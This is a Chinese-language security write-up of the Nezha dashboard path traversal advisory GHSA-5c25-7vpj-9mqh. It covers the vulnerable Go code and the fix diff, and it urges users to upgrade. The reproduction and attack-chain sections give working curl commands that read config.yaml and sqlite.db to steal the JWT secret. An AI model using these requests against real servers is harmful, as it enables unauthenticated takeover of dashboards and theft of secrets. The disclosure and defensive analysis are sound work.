官方公告#

根据 GitHub 官方安全公告（GHSA-5c25-7vpj-9mqh）的 Summary 部分：

fallbackToFrontend in the dashboard’s NoRoute handler treats any URL whose raw string starts with /dashboard as an admin‑frontend asset request. The check uses strings.HasPrefix, not a path‑segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required.

翻译：仪表盘的 NoRoute 处理程序中的 fallbackToFrontend 会将任何原始字符串以 /dashboard 开头的 URL 视为管理前端资源请求。此检查使用 strings.HasPrefix，而不是路径段匹配，因此输入 /dashboard../data/config.yaml 会被接受；strings.TrimPrefix 会保留 ../data/config.yaml；而 path.Join("admin-dist", "../data/config.yaml") 会规范化为 data/config.yaml —— os.Stat 可以找到该文件，并且 http.ServeFile 会返回该文件。无需身份验证。

致命的后续：

In default deployments, data/config.yaml contains the HS256 jwt_secret_key used to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.

翻译：在默认部署中，data/config.yaml 包含了用于签署每个仪表盘会话 Cookie 的 HS256 jwt_secret_key。未经授权的攻击者读取该密钥，伪造管理员 JWT，并以任何用户身份登录——只需一个 GET 请求即可完全控制仪表盘。

原因#

漏洞代码位于 cmd/dashboard/controller/controller.go（commit 636f4a9）：

1
// cmd/dashboard/controller/controller.go @ 636f4a9
2
fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
3
if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
4
    stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
5
    localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
6
    if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
7
        return
8
    }
9
}

而 fallbackToFrontend 被注册为 catch‑all 路由（r.NoRoute）：

1
// cmd/dashboard/controller/controller.go:157
2
r.NoRoute(fallbackToFrontend(frontendDist))

所有未被其他路由匹配的 URL（包括未认证的请求）都会落入这个处理函数。

checkLocalFileOrFs 内部直接调用了 os.Stat 和 http.ServeFile：

1
// cmd/dashboard/controller/controller.go @ 636f4a9
2
func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
3
    checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
4
        if _, err := os.Stat(path); err == nil {
5
            http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
6
            return true
7
        }
8
        // ...
9
    }
10
}

关键问题：strings.HasPrefix 检查的是原始 URL 字符串，而不是 URL 的路径段。因此，/dashboard../data/config.yaml 以 /dashboard 开头，通过检查，而 TrimPrefix 后得到 ../data/config.yaml，再与 AdminTemplate（默认 admin-dist）拼接时，path.Join 将其规范化为 data/config.yaml，从而逃逸出 admin-dist 目录。

路径遍历证明#

路径对比：

关键洞察：/dashboard/../data/config.yaml 和 /dashboard../data/config.yaml 经过 path.Join 后指向完全相同的磁盘路径（data/config.yaml），但前者被 http.ServeFile 拒绝，后者却被成功返回。区别在于：前者 URL 中包含独立的 .. 段，触发 Go 标准库的 URL 级别遍历保护；后者将 .. 隐藏在第一个路径段 dashboard.. 内部，绕过了保护。

为什么防御全部失效？#

1. 前缀检查是子字符串测试，不是路径段测试 strings.HasPrefix 只看原始字符串是否以 /dashboard 开头，dashboard 和 dashboard.. 都满足

2. 路径穿越发生在 TrimPrefix 之后 第一道防线（前缀检查）被轻松绕过，所有操作都在已信任的前提下进行

3. Go 标准库的 .. 防护检查的是原始 URL
   net/http.containsDotDot 仅当 URL 本身包含独立的 .. 段时才会触发。/dashboard../data/config.yaml 的第一个段是 dashboard..（整体），没有独立 ..，因此保护机制 完全不生效

4. path.Join 静默规范化，不报告逃逸
   path.Join 执行 Clean 操作，将 ../data/config.yaml 变成 data/config.yaml，但没有任何错误或警告表明路径已经逃逸出 admin-dist。之后也没有进行“是否仍在模板根目录下”的锚定检查

复现#

1
debug: false
2
listen_port: 8008
3
language: en_US
4
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
5
agent_secret_key: REPRO_AGENT_SECRET_VALUE
6
site:
7
  brand: nezha-repro

1
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'

1
HTTP/1.1 200 OK
2
Content-Type: application/yaml
3
Content-Length: 167
4

5
debug: false
6
listen_port: 8008
7
language: en_US
8
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
9
agent_secret_key: REPRO_AGENT_SECRET_VALUE
10
site:
11
  brand: nezha-repro

1
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'

1
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'

1
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'

1
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'

1
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'

1
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'

攻击链#

根据官方 Impact 部分，攻击者可以按以下步骤完全接管面板：

1
curl -s --path-as-is 'http://target:8008/dashboard../data/config.yaml' > config.yaml

1
curl -s --path-as-is 'http://target:8008/dashboard../data/sqlite.db' > sqlite.db

影响范围#

利用该原语，攻击者可以读取仪表盘工作目录下任何可通过逃逸 admin-dist 一级目录访问的文件。默认部署中包括：

该漏洞也影响了用户模板分支（lines 399–405），虽然当前 /dashboard 前缀混淆不会直接命中它，但任何未来代码更改都可能重新引入相同的原语

修复方案#

官方在 v2.0.13 中修复了该漏洞。核心思路是将前缀测试改为路径段感知，并在文件系统调用前检查清理后的路径是否逃逸出模板根目录。最小 diff 如下：

1
- if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
2
-     stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
3
+ if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") {
4
+     stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/")
5
+     cleanPath := path.Clean("/" + stripPath)
6
+     if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") {
7
+         c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found")))
8
+         return
9
+     }
10
      localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)

由于 line 382 已经存在 /dashboard 到 /dashboard/ 的重定向，要求尾部斜杠是安全的，并且与 frontendPageUrlRegistry 中的正则表达式一致。

防御：将本地的 os.Stat + http.ServeFile 分支替换为基于嵌入 admin-dist 子目录的 http.FileServer(http.FS(subFS))，这样可以完全消除工作目录逃逸的风险。

请立即检查你的面板版本，如果低于 v2.0.13，请立刻升级！ 升级后，建议更换 jwt_secret_key 并重置所有密码，同时检查系统是否存在异常。安全无小事，请将本文转发给所有使用哪吒面板的朋友。

参考链接：

• GitHub Security Advisory GHSA-5c25-7vpj-9mqh
• 哪吒面板 GitHub Releases